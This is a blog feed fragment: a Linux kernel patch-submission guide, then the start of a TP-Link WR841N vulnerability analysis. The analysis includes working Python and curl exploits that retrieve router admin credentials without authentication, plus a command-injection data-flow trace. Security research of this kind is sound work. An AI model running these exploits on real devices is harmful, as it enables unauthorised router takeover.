add usercopy region to skbuff_fclone_cache</span><br><span class="line"></span><br><span class="line">skbuff_fclone_cache was created without defining a usercopy region,</span><br><span class="line">unlike skbuff_head_cache which properly whitelists the cb[] field.</span><br><span class="line">This causes a usercopy BUG() when CONFIG_HARDENED_USERCOPY is enabled...</span><br><span class="line"></span><br><span class="line">[精简后的崩溃日志]</span><br><span class="line"></span><br><span class="line">Fix by using kmem_cache_create_usercopy() with the same cb[] region</span><br><span class="line">whitelist as skbuff_head_cache.</span><br><span class="line"></span><br><span class="line">Fixes: 6d07d1cd300f (&quot;usercopy: Restrict non-usercopy caches to size 0&quot;)</span><br><span class="line">Reported-by: Xiang Mei &lt;xmei5@asu.edu&gt;</span><br><span class="line">Signed-off-by: Weiming Shi &lt;bestswngs@gmail.com&gt;</span><br></pre></td></tr></table></figure><h3 id="几个要点"><a href="#几个要点" class="headerlink" title="几个要点"></a>几个要点</h3><ol><li><strong>标题格式</strong>：<code>子系统: 简短描述</code>，不超过 72 字符</li><li><strong>正文每行不超过 75 字符</strong>，这个很重要！可以用 vim 的 <code>:set cc=75</code> 画条线</li><li><strong>Fixes 标签</strong>：指向引入 bug 的那个提交</li><li><strong>Signed-off-by</strong>：你的名字和邮箱</li></ol><h3 id="调用栈怎么写"><a href="#调用栈怎么写" class="headerlink" title="调用栈怎么写"></a>调用栈怎么写</h3><p>Eric Dumazet 给我的反馈：</p><blockquote><p><em>“下次发调用栈之前，先跑一下 scripts/decode_stacktrace.sh 拿到有意义的符号。”</em></p></blockquote><p>所以要先处理一下：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./scripts/decode_stacktrace.sh vmlinux &lt; raw_stack_trace.txt</span><br></pre></td></tr></table></figure><p>然后<strong>精简</strong>，不要把整个 dmesg 贴上去。删掉时间戳、寄存器 dump、模块列表，只保留错误信息和关键调用链：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">usercopy: Kernel memory exposure attempt detected from SLUB object</span><br><span class="line">&#39;skbuff_fclone_cache&#39; (offset 296, size 16)!</span><br><span class="line">kernel BUG at mm&#x2F;usercopy.c:102!</span><br><span class="line">Call Trace:</span><br><span class="line"> __check_heap_object</span><br><span class="line"> __check_object_size</span><br><span class="line"> put_cmsg</span><br><span class="line"> sock_recv_errqueue</span><br></pre></td></tr></table></figure><h2 id="第六步：生成和发送补丁"><a href="#第六步：生成和发送补丁" class="headerlink" title="第六步：生成和发送补丁"></a>第六步：生成和发送补丁</h2><p>生成补丁：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git format-patch -1 -v4 --subject-prefix=<span class="string">&quot;PATCH net&quot;</span></span><br></pre></td></tr></table></figure><p><code>-v4</code> 表示第 4 版。</p><p>检查一下：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./scripts/checkpatch.pl *.patch</span><br></pre></td></tr></table></figure><p>找维护者：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./scripts/get_maintainer.pl net/core/skbuff.c</span><br></pre></td></tr></table></figure><p>发送：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">git send-email \</span><br><span class="line">    --to=<span class="string">&quot;davem@davemloft.net&quot;</span> \</span><br><span class="line">    --to=<span class="string">&quot;edumazet@google.com&quot;</span> \</span><br><span class="line">    --to=<span class="string">&quot;kuba@kernel.org&quot;</span> \</span><br><span class="line">    --to=<span class="string">&quot;pabeni@redhat.com&quot;</span> \</span><br><span class="line">    --cc=<span class="string">&quot;netdev@vger.kernel.org&quot;</span> \</span><br><span class="line">    --cc=<span class="string">&quot;linux-kernel@vger.kernel.org&quot;</span> \</span><br><span class="line">    *.patch</span><br></pre></td></tr></table></figure><h3 id="一个坑：-x73-101-x63-117-x72-105-116-121-64-x6b-101-x72-110-101-x6c-x2e-x6f-114-x67"><a href="#一个坑：-x73-101-x63-117-x72-105-116-121-64-x6b-101-x72-110-101-x6c-x2e-x6f-114-x67" class="headerlink" title="一个坑：&#x73;&#101;&#x63;&#117;&#x72;&#105;&#116;&#121;&#64;&#x6b;&#101;&#x72;&#110;&#101;&#x6c;&#x2e;&#x6f;&#114;&#x67;"></a>一个坑：<a href="mailto:&#x73;&#101;&#x63;&#117;&#x72;&#105;&#116;&#121;&#64;&#x6b;&#101;&#x72;&#110;&#101;&#x6c;&#x2e;&#x6f;&#114;&#x67;">&#x73;&#101;&#x63;&#117;&#x72;&#105;&#116;&#121;&#64;&#x6b;&#101;&#x72;&#110;&#101;&#x6c;&#x2e;&#x6f;&#114;&#x67;</a></h3><p>Eric Dumazet 还跟我说：</p><blockquote><p><em>“如果你已经在公开邮件列表上发了，就不要再抄送 <a href="mailto:&#x73;&#101;&#99;&#x75;&#114;&#105;&#116;&#121;&#64;&#x6b;&#x65;&#114;&#110;&#101;&#108;&#x2e;&#x6f;&#114;&#103;">&#x73;&#101;&#99;&#x75;&#114;&#105;&#116;&#121;&#64;&#x6b;&#x65;&#114;&#110;&#101;&#108;&#x2e;&#x6f;&#114;&#103;</a> 了，没用。”</em></p></blockquote><p>规则：</p><ul><li>私下披露 → 抄送 <code>security@kernel.org</code></li><li>已经公开 → 不要抄送</li></ul><h2 id="第七步：处理反馈"><a href="#第七步：处理反馈" class="headerlink" title="第七步：处理反馈"></a>第七步：处理反馈</h2><p>发完补丁会收到各种反馈：</p><ul><li><strong>Kernel Test Robot</strong>：自动构建测试，会告诉你编译有没有问题</li><li><strong>维护者</strong>：代码审查</li><li><strong>其他开发者</strong>：评论</li></ul><p>我的 v2 就收到了 robot 的构建失败报告，因为函数参数传错了。教训就是本地一定要先编译测试。</p><p>收到反馈后：</p><ul><li>不要在邮件里直接回复修复代码，发新版本</li><li>用 <code>-v3</code>、<code>-v4</code> 标记版本</li><li>在 <code>---</code> 下面加更新日志说明改了什么</li></ul><h2 id="第八步：申请-CVE"><a href="#第八步：申请-CVE" class="headerlink" title="第八步：申请 CVE"></a>第八步：申请 CVE</h2><p><strong>等补丁合并之后再说</strong>。</p><p>根据<a href="https://docs.kernel.org/process/cve.html">内核 CVE 文档</a>，未修复的问题不会分配 CVE，要等补丁进了 stable 树才行。</p><p>大多数情况下 CVE 会自动分配，内核 CVE 团队（Greg KH、Sasha Levin、Lee Jones）会审查每个进 stable 的补丁。如果他们觉得是安全问题就会自动分配 CVE，公告在 <a href="https://lore.kernel.org/linux-cve-announce/">linux-cve-announce</a>。</p><p>如果漏了，可以发邮件到 <code>cve@kernel.org</code>。注意这个地址<strong>只用于已合并的修复</strong>，未修复的安全问题发 <code>security@kernel.org</code>。</p><p>我这个补丁合并后被分配了 CVE-2026-22977。</p><h2 id="和维护者的邮件沟通"><a href="#和维护者的邮件沟通" class="headerlink" title="和维护者的邮件沟通"></a>和维护者的邮件沟通</h2><p>这里要特别说一下和 Eric Dumazet（Google 的 netdev 维护者）的沟通过程。</p><p>我最开始的方案（v4）是直接给 <code>skbuff_fclone_cache</code> 加 usercopy region：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// v4 方案：修改 net/core/skbuff.c</span></span><br><span class="line">kmem_cache_create_usercopy(<span class="string">&quot;skbuff_fclone_cache&quot;</span>, ...,</span><br><span class="line">    offsetof(struct sk_buff, cb),</span><br><span class="line">    sizeof_field(struct sk_buff, cb), ...);</span><br></pre></td></tr></table></figure><p>但 Eric 在 <a href="https://lkml.org/lkml/2025/12/23/566">邮件</a> 里提了另一种思路：</p><blockquote><p><em>“use a bounce buffer for copying skb-&gt;mark”</em></p></blockquote><p>他的意思是，与其放宽 <code>skbuff_fclone_cache</code> 的安全限制，不如在 <code>sock_recv_errqueue()</code> 里用一个栈上的临时变量做中转：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// v5 方案：修改 net/core/sock.c</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">sock_extended_err</span> <span class="title">ee</span>;</span></span><br><span class="line">ee = SKB_EXT_ERR(skb)-&gt;ee;  <span class="comment">// 先拷贝到栈上</span></span><br><span class="line">put_cmsg(msg, level, type, <span class="keyword">sizeof</span>(ee), &amp;ee);  <span class="comment">// 再从栈上拷贝到用户空间</span></span><br></pre></td></tr></table></figure><p>这样就不用动 slab cache 的配置，安全性更好。</p><p>所以我发了 v5 用 bounce buffer 的方案，最终合并的就是这个版本。这个过程让我学到了：<strong>维护者的反馈很有价值，他们比你更了解代码的设计意图</strong>。</p><h2 id="我踩过的坑"><a href="#我踩过的坑" class="headerlink" title="我踩过的坑"></a>我踩过的坑</h2><ol><li><strong>v1：提交信息格式全错</strong>，标题写成了 <code>Signed-off-by:</code>，离谱</li><li><strong>v2：漏了 From 头</strong>，<code>.gitconfig</code> 没配好</li><li><strong>v2：忘了抄送邮件列表</strong>，一定要跑 <code>get_maintainer.pl</code></li><li><strong>v3：代码写错了</strong>，偏移量算错，本地没测就发了</li><li><strong>v4：amend 了十几次</strong>，说明提交前应该检查更仔细</li><li><strong>调用栈没解码</strong>，被 Eric 提醒了</li><li>**不该抄送 security@**，已经公开了还抄送没意义</li></ol><h2 id="时间线"><a href="#时间线" class="headerlink" title="时间线"></a>时间线</h2><table><thead><tr><th>日期</th><th>版本</th><th>改动</th></tr></thead><tbody><tr><td>12月15日</td><td>v1</td><td>初次提交，格式全错</td></tr><tr><td>12月16日</td><td>v2</td><td>修了提交信息</td></tr><tr><td>12月16日</td><td>v3</td><td>加了 From 头，修了 CC/TO</td></tr><tr><td>12月16日</td><td>v4</td><td>修了代码</td></tr><tr><td>12月24日</td><td>v5</td><td>试了另一种方案</td></tr></tbody></table><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>回顾一下整个流程：</p><ul><li>下载内核源码，<strong>注意选对仓库</strong>（bug 修复用 <code>net.git</code>，新功能用 <code>net-next.git</code>）</li><li>改代码，修 bug</li><li>编译，确保没 warning</li><li>用 <code>vng</code> 或 QEMU 启动测试，跑 PoC 确认修复了</li><li><strong>跑对应模块的测试</strong>，不同子系统有不同的测试工具：<ul><li>网络：<code>make -C tools/testing/selftests/net run_tests</code></li><li>BPF：<code>make -C tools/testing/selftests/bpf run_tests</code></li><li>内存管理：<code>make -C tools/testing/selftests/mm run_tests</code></li><li>文件系统：<code>make -C tools/testing/selftests/filesystems run_tests</code></li><li>通用：<code>make kselftest TARGETS=&lt;子系统&gt;</code></li></ul></li><li>跑 <code>./scripts/checkpatch.pl --strict</code> 检查代码风格</li><li>写提交信息，<strong>每行 75 字符</strong>，用 <code>:set cc=75</code> 画线对齐</li><li>调用栈要用 <code>./scripts/decode_stacktrace.sh</code> 解码，然后精简</li><li>加上 <code>Fixes:</code>、<code>Reported-by:</code>、<code>Signed-off-by:</code> 这些标签</li><li><code>git format-patch</code> 生成补丁</li><li><code>./scripts/get_maintainer.pl</code> 找维护者</li><li><code>git send-email</code> 发送，<strong>不要用 Gmail 网页版</strong></li><li>如果已经公开了，<strong>不要抄送 <a href="mailto:&#x73;&#101;&#99;&#117;&#114;&#x69;&#x74;&#x79;&#x40;&#x6b;&#x65;&#x72;&#110;&#101;&#108;&#x2e;&#111;&#114;&#103;">&#x73;&#101;&#99;&#117;&#114;&#x69;&#x74;&#x79;&#x40;&#x6b;&#x65;&#x72;&#110;&#101;&#108;&#x2e;&#111;&#114;&#103;</a></strong></li><li>收到反馈就发新版本（<code>-v2</code>、<code>-v3</code>），不要在邮件里直接回复代码</li><li>等合并后 CVE 会自动分配，或者发邮件给 <code>cve@kernel.org</code></li></ul><hr><p>最后，Eric Dumazet 在邮件里说了一句，当时看到时候还蛮开心的（ </p><blockquote><p><em>“Congratulations on your first linux contribution!”</em></p></blockquote><p>从分析 bug 到补丁被合并（commit <code>f9ac7befe5f1</code>），这个过程n132可谓是手把手教我了，这里得再次感谢一下他。</p><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><div id="footnotes"><hr><div id="footnotelist"><ol style="list-style: none; padding-left: 0; margin-left: 40px"><li id="fn:1"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">1.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;"><a href="https://www.kernel.org/doc/html/latest/process/submitting-patches.html">提交补丁文档</a><a href="#fnref:1" rev="footnote"> ↩</a></span></li><li id="fn:2"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">2.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;"><a href="https://www.kernel.org/doc/html/latest/process/email-clients.html">邮件客户端配置</a><a href="#fnref:2" rev="footnote"> ↩</a></span></li><li id="fn:3"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">3.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;"><a href="https://docs.kernel.org/process/cve.html">内核 CVE 流程</a><a href="#fnref:3" rev="footnote"> ↩</a></span></li><li id="fn:4"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">4.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;"><a href="https://elixir.bootlin.com/">Elixir Bootlin</a> - 带超链接的内核源码浏览<a href="#fnref:4" rev="footnote"> ↩</a></span></li><li id="fn:5"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">5.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;"><a href="https://lore.kernel.org/linux-cve-announce/">linux-cve-announce</a> - CVE 公告<a href="#fnref:5" rev="footnote"> ↩</a></span></li><li id="fn:6"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">6.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;"><a href="https://lkml.org/lkml/2025/12/20/364">我的 v2 被 robot 打回的邮件</a><a href="#fnref:6" rev="footnote"> ↩</a></span></li><li id="fn:7"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">7.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;"><a href="https://lkml.org/lkml/2025/12/23/566">Eric Dumazet 建议 bounce buffer 方案的邮件</a><a href="#fnref:7" rev="footnote"> ↩</a></span></li><li id="fn:8"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">8.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;">https://n132.github.io/2025/07/10/How-to-patch-a-linux-kernel-bug.html<a href="#fnref:8" rev="footnote"> ↩</a></span></li></ol></div></div></div><script src="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/js/lightgallery.min.js"></script><script>if (typeof lightGallery !== 'undefined') {        var options = {            selector: '.gallery-item'        };        lightGallery(document.getElementsByClassName('.article-gallery')[0], options);        }</script>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css&quot;&gt;&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; hr</summary>
      
    
    
    
    <category term="KernelDev" scheme="https://bestwing.me/categories/KernelDev/"/>
    
    
    <category term="linux-kernel" scheme="https://bestwing.me/tags/linux-kernel/"/>
    
    <category term="security" scheme="https://bestwing.me/tags/security/"/>
    
    <category term="cve-2026-22977" scheme="https://bestwing.me/tags/cve-2026-22977/"/>
    
    <category term="skbuff" scheme="https://bestwing.me/tags/skbuff/"/>
    
    <category term="usercopy" scheme="https://bestwing.me/tags/usercopy/"/>
    
  </entry>
  
  <entry>
    <title>TP-Link WR841N router  CVE-2023-50224 and CVE-2025-9377</title>
    <link href="https://bestwing.me/tp-link-wr841n-router-cve-analysis.html"/>
    <id>https://bestwing.me/tp-link-wr841n-router-cve-analysis.html</id>
    <published>2025-12-27T23:52:47.000Z</published>
    <updated>2026-02-07T05:48:02.259Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/css/lightgallery.min.css" /><div class=".article-gallery"<h2 id="TL-DR"><a href="#TL-DR" class="headerlink" title="TL; DR"></a>TL; DR</h2><p><br>起源是这个 Technical News and Reports about Quad 7 (7777) Botnet aka CovertNetwork-1658 的公告<sup id="fnref:1"><a href="#fn:1" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="https://www.tp-link.com/us/support/faq/4365/">[1]</span></a></sup> , 顺便想检测一下我修改的IDA-Pro-MCP Headless 是否功能正常<sup id="fnref:3"><a href="#fn:3" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="https://www.tp-link.com/us/support/download/tl-wr841n/v9/#Firmware">[3]</span></a></sup>，所以有了这次的分析</p><p>这公告里涉及了两个漏洞：</p><ul><li>CVE-2023-50224</li><li>CVE-2025-9377</li></ul><p>这里分析的版本是  TL-WR841N(US)_V9_150401 <sup id="fnref:2"><a href="#fn:2" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="https://github.com/winmin/ida-pro-mcp">[2]</span></a></sup></p><h2 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h2><h3 id="CVE-2023-50224"><a href="#CVE-2023-50224" class="headerlink" title="CVE-2023-50224"></a>CVE-2023-50224</h3><h4 id="漏洞描述："><a href="#漏洞描述：" class="headerlink" title="漏洞描述："></a>漏洞描述：</h4><p>The first vulnerability is an unauthenticated file disclosure allowing for the retrieval of credentials stored in /tmp/dropbear/dropbearpwd. These credentials were then replayed in the HTTP Basic authentication of the management interface. TP-Link has been tracking this vulnerability internally as TP-Link Vulnerability Disclosure (TPVD) 202321023 TL-WR841N. Patched firmware for the affected devices can be found here.</p><p>第一个漏洞是未经身份验证的文件泄露，允许检索存储在 /tmp/dropbear/dropbearpwd 中的凭据。然后，这些凭据会在管理界面的 HTTP 基本身份验证中重放。 TP-Link 一直在内部跟踪此漏洞，编号为 TP-Link 漏洞披露 (TPVD) 202321023 TL-WR841N。可以在此处找到受影响设备的修补固件。</p><h4 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h4><p>使用 IDA Pro MCP 一下次就分析出来了</p><p>漏洞根因（httpd 函数 0x43fb70）</p><ol><li><p>第42行：httpRpmConfAdd(2, “/loginFs/“, httpRpmFs) - 注册了 /loginFs/ 路径使用 httpRpmFs 处理</p></li><li><p>第41行：httpCtrlConfAdd(“/loginFs/<em>“, “</em>“, “<em>“) - 配置 /loginFs/</em> 允许任何人访问</p></li><li><p>httpRpmFs 函数（0x4ee738）会从 /tmp/ 目录读取文件</p></li><li><p>httpDispatcher（0x4edc24）对 httpRpmFs 处理的请求跳过认证检查</p><p>为什么需要 ./</p><p>根据测试结果，添加 ./ 可能是为了绕过某种路径匹配或规范化检查。./ 表示当前目录，但在字符串匹配层面会改变模式匹配结果。</p></li></ol><hr><p>  最终 POC</p><p>  #!/usr/bin/env python3<br>  “””<br>  CVE-2023-50224 PoC<br>  TP-Link TL-WR841N dropbearpwd Information Disclosure</p><p>  漏洞：httpd 服务的 /loginFs/ 路径配置为无需认证，<br>       且 httpRpmFs 会从 /tmp/ 目录读取文件。<br>       管理员凭据明文存储在 /tmp/dropbear/dropbearpwd。</p><p>  关键：需要在路径中添加 “./“ 来绕过某些路径检查。<br>  “””</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line">import requests</span><br><span class="line">import sys</span><br><span class="line"></span><br><span class="line">def exploit(target_ip, target_port&#x3D;80):</span><br><span class="line">    # 关键：使用 &quot;.&#x2F;&quot; 绕过路径检查</span><br><span class="line">    url &#x3D; f&quot;http:&#x2F;&#x2F;&#123;target_ip&#125;:&#123;target_port&#125;&#x2F;loginFs&#x2F;.&#x2F;dropbear&#x2F;dropbearpwd&quot;</span><br><span class="line"></span><br><span class="line">    headers &#x3D; &#123;</span><br><span class="line">        &quot;User-Agent&quot;: &quot;Mozilla&#x2F;5.0&quot;,</span><br><span class="line">        &quot;Referer&quot;: f&quot;http:&#x2F;&#x2F;&#123;target_ip&#125;:&#123;target_port&#125;&#x2F;&quot;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    print(f&quot;[*] CVE-2023-50224 - TP-Link TL-WR841N Credential Disclosure&quot;)</span><br><span class="line">    print(f&quot;[*] Target: &#123;target_ip&#125;:&#123;target_port&#125;&quot;)</span><br><span class="line">    print(f&quot;[+] URL: &#123;url&#125;&quot;)</span><br><span class="line">    print()</span><br><span class="line"></span><br><span class="line">    try:</span><br><span class="line">        resp &#x3D; requests.get(url, headers&#x3D;headers, timeout&#x3D;10)</span><br><span class="line"></span><br><span class="line">        if resp.status_code &#x3D;&#x3D; 200 and &quot;username:&quot; in resp.text:</span><br><span class="line">            print(&quot;[+] SUCCESS! Credentials found:&quot;)</span><br><span class="line">            print(&quot;-&quot; * 40)</span><br><span class="line">            print(resp.text)</span><br><span class="line">            print(&quot;-&quot; * 40)</span><br><span class="line">            for line in resp.text.strip().split(&#39;\n&#39;):</span><br><span class="line">                if &#39;:&#39; in line:</span><br><span class="line">                    key, val &#x3D; line.split(&#39;:&#39;, 1)</span><br><span class="line">                    print(f&quot;[+] &#123;key.capitalize()&#125;: &#123;val&#125;&quot;)</span><br><span class="line">        else:</span><br><span class="line">            print(f&quot;[-] Failed: &#123;resp.text[:100]&#125;&quot;)</span><br><span class="line"></span><br><span class="line">    except Exception as e:</span><br><span class="line">        print(f&quot;[-] Error: &#123;e&#125;&quot;)</span><br><span class="line"></span><br><span class="line">if __name__ &#x3D;&#x3D; &quot;__main__&quot;:</span><br><span class="line">    ip &#x3D; sys.argv[1] if len(sys.argv) &gt; 1 else &quot;192.168.0.1&quot;</span><br><span class="line">    port &#x3D; int(sys.argv[2]) if len(sys.argv) &gt; 2 else 80</span><br><span class="line">    exploit(ip, port)</span><br></pre></td></tr></table></figure><p>  Bash 版本</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line">TARGET=<span class="string">&quot;<span class="variable">$&#123;1:-192.168.0.1&#125;</span>&quot;</span></span><br><span class="line">PORT=<span class="string">&quot;<span class="variable">$&#123;2:-80&#125;</span>&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;[*] CVE-2023-50224 - TP-Link TL-WR841N Credential Disclosure&quot;</span></span><br><span class="line">curl -s <span class="string">&quot;http://<span class="variable">$&#123;TARGET&#125;</span>:<span class="variable">$&#123;PORT&#125;</span>/loginFs/./dropbear/dropbearpwd&quot;</span> \</span><br><span class="line">     -H <span class="string">&quot;Referer: http://<span class="variable">$&#123;TARGET&#125;</span>:<span class="variable">$&#123;PORT&#125;</span>/&quot;</span></span><br><span class="line"></span><br><span class="line">使用方法</span><br><span class="line"></span><br><span class="line">curl <span class="string">&quot;http://192.168.0.1/loginFs/./dropbear/dropbearpwd&quot;</span> \</span><br><span class="line">     -H <span class="string">&quot;Referer: http://192.168.0.1/&quot;</span></span><br></pre></td></tr></table></figure><p>  关键点：路径必须使用 /loginFs/./dropbear/dropbearpwd（带 ./），而不是 /loginFs/dropbear/dropbearpwd。</p><p>请求后返回 hash 密码</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2025-12-28-71231676d0beead29e4b7a857fc9ad25-699280.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2025-12-28-71231676d0beead29e4b7a857fc9ad25-699280.png" alt="image.png"></a></p><p>登录的时候就使用这个 hash 登录就行</p><h3 id="CVE-2025-9377"><a href="#CVE-2025-9377" class="headerlink" title="CVE-2025-9377"></a>CVE-2025-9377</h3><h4 id="漏洞描述"><a href="#漏洞描述" class="headerlink" title="漏洞描述"></a>漏洞描述</h4><p>The second vulnerability is a known Parental Control command injection RCE exploit. In this vulnerability, tampering with the url_0 parameter in the Parental Control page is used to achieve the RCE. The vulnerability is tracked as CVE-2025-9377 (<a href="https://www.cve.org/CVERecord?id=CVE-2025-9377">https://www.cve.org/CVERecord?id=CVE-2025-9377</a>) and TPVD202411095 internally. Patched firmware for the affected devices can be found here.</p><p>第二个漏洞是已知的家长控制命令注入 RCE 漏洞。该漏洞通过篡改家长控制页面中的url_0参数来实现RCE。该漏洞在内部被跟踪为 CVE-2025-9377 (<a href="https://www.cve.org/CVERecord?id=CVE-2025-9377">https://www.cve.org/CVERecord?id=CVE-2025-9377</a>) 和 TPVD202411095。可以在这里找到。</p><h4 id="漏洞分析-1"><a href="#漏洞分析-1" class="headerlink" title="漏洞分析"></a>漏洞分析</h4><p>这是一个位于 TP-Link WR841N 路由器 httpd 程序中的 命令注入漏洞，存在于家长控制（Parental Control）功能中。</p><p>  漏洞位置</p><table><thead><tr><th>函数</th><th>地址</th><th>描述</th></tr></thead><tbody><tr><td>ParentCtrlRpmHandler</td><td>0x455EC8</td><td>处理 /userRpm/ParentCtrlRpm.htm 请求，解析 url_%d 参数</td></tr><tr><td>buildParentCtrlIptablesRule</td><td>0x4CC670</td><td>构建 iptables 规则，将 URL 拼接到命令中</td></tr><tr><td>refreshParentCtrlTbl</td><td>0x4CCC24</td><td>执行脚本 /tmp/wr841n/parent.sh</td></tr></tbody></table><p>  漏洞数据流</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">用户输入 (url_0 - url_7)</span><br><span class="line">    ↓</span><br><span class="line">ParentCtrlRpmHandler (0x455EC8:205)</span><br><span class="line">  └─ sprintf(v53, &quot;url_%d&quot;, v28)</span><br><span class="line">  └─ httpGetEnv(a1, v53)           ← 获取用户输入</span><br><span class="line">  └─ swChkLegalDomain(v31)         ← 验证 (可绕过)</span><br><span class="line">  └─ strncpy(v27, v31, 30)         ← 存储 URL</span><br><span class="line">  └─ swSetParentCtrlEntry(v75)     ← 保存到数据库</span><br><span class="line">    ↓</span><br><span class="line">refreshParentCtrlTbl (0x4CCC24:49)</span><br><span class="line">  └─ fopen(&quot;&#x2F;tmp&#x2F;wr841n&#x2F;parent.sh&quot;, &quot;wt&quot;)</span><br><span class="line">  └─ buildParentCtrlIptablesRule()</span><br><span class="line">    ↓</span><br><span class="line">buildParentCtrlIptablesRule (0x4CC670:113-118)</span><br><span class="line">  └─ sprintf(&amp;v35[v22], &quot;-i %s -m mac --mac-source %s -p tcp --dport 80 -m multiurl --urls %s -j RETURN&quot;, ...)</span><br><span class="line">    ↓                                                                          ↑</span><br><span class="line">    │                                                                   URL未完全过滤</span><br><span class="line">    ↓</span><br><span class="line">fprintf(parentCtrlScript, &quot;%s\n&quot;, v31)  ← 写入脚本</span><br><span class="line">    ↓</span><br><span class="line">execFormatCmd(&quot;sh &#x2F;tmp&#x2F;wr841n&#x2F;parent.sh&quot;)  ← 执行脚本</span><br><span class="line"></span><br><span class="line">关键代码片段</span><br><span class="line"></span><br><span class="line">1. URL参数处理 (0x4564a0):</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sprintf</span>(v53, <span 